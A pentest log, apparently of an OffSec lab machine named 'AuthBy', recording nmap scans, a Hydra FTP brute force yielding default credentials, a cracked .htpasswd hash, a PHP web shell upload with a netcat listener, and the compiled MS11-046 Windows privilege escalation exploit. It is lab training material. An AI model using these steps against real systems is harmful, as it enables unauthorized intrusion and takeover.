AuthBy

๐Ÿงช Pentest Log: {{date:2025-08-12}}

๐Ÿ” Target Information

ip=192.168.199.46

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 21

Anonymous Login

ftp anonymous@$ip

Bruteforce Common Credentials

hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -6 ftp://$ip

Obtain credential

admin:admin

Login with credential and retrieve .htpasswd

offsec:$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0

Crack the password

offsec:elite

Also found we have the ability to upload files

put shell.php

Port 242

Web Directory Scan

gobuster dir -u http://$ip:242 -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip:242 -r -o dirsearch.txt

Login with

offsec:elite

๐Ÿ’ฃ Exploitation / Foothold

๐Ÿ“Œ Vulnerability Summary

๐Ÿš€ Exploit Execution

๐Ÿ”ง Exploit Method

Tool / Script Used:

https://www.exploit-db.com/exploits/49216

http://192.168.199.46:242/shell.php

nc -lvnp 242

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

System Info:

systeminfo

found

OS Name:                   Microsoftr Windows Serverr 2008 Standard 
OS Version:                6.0.6001 Service Pack 1 Build 6001

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

searchsploit -m https://www.exploit-db.com/exploits/40564

i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32
./MS11-046.exe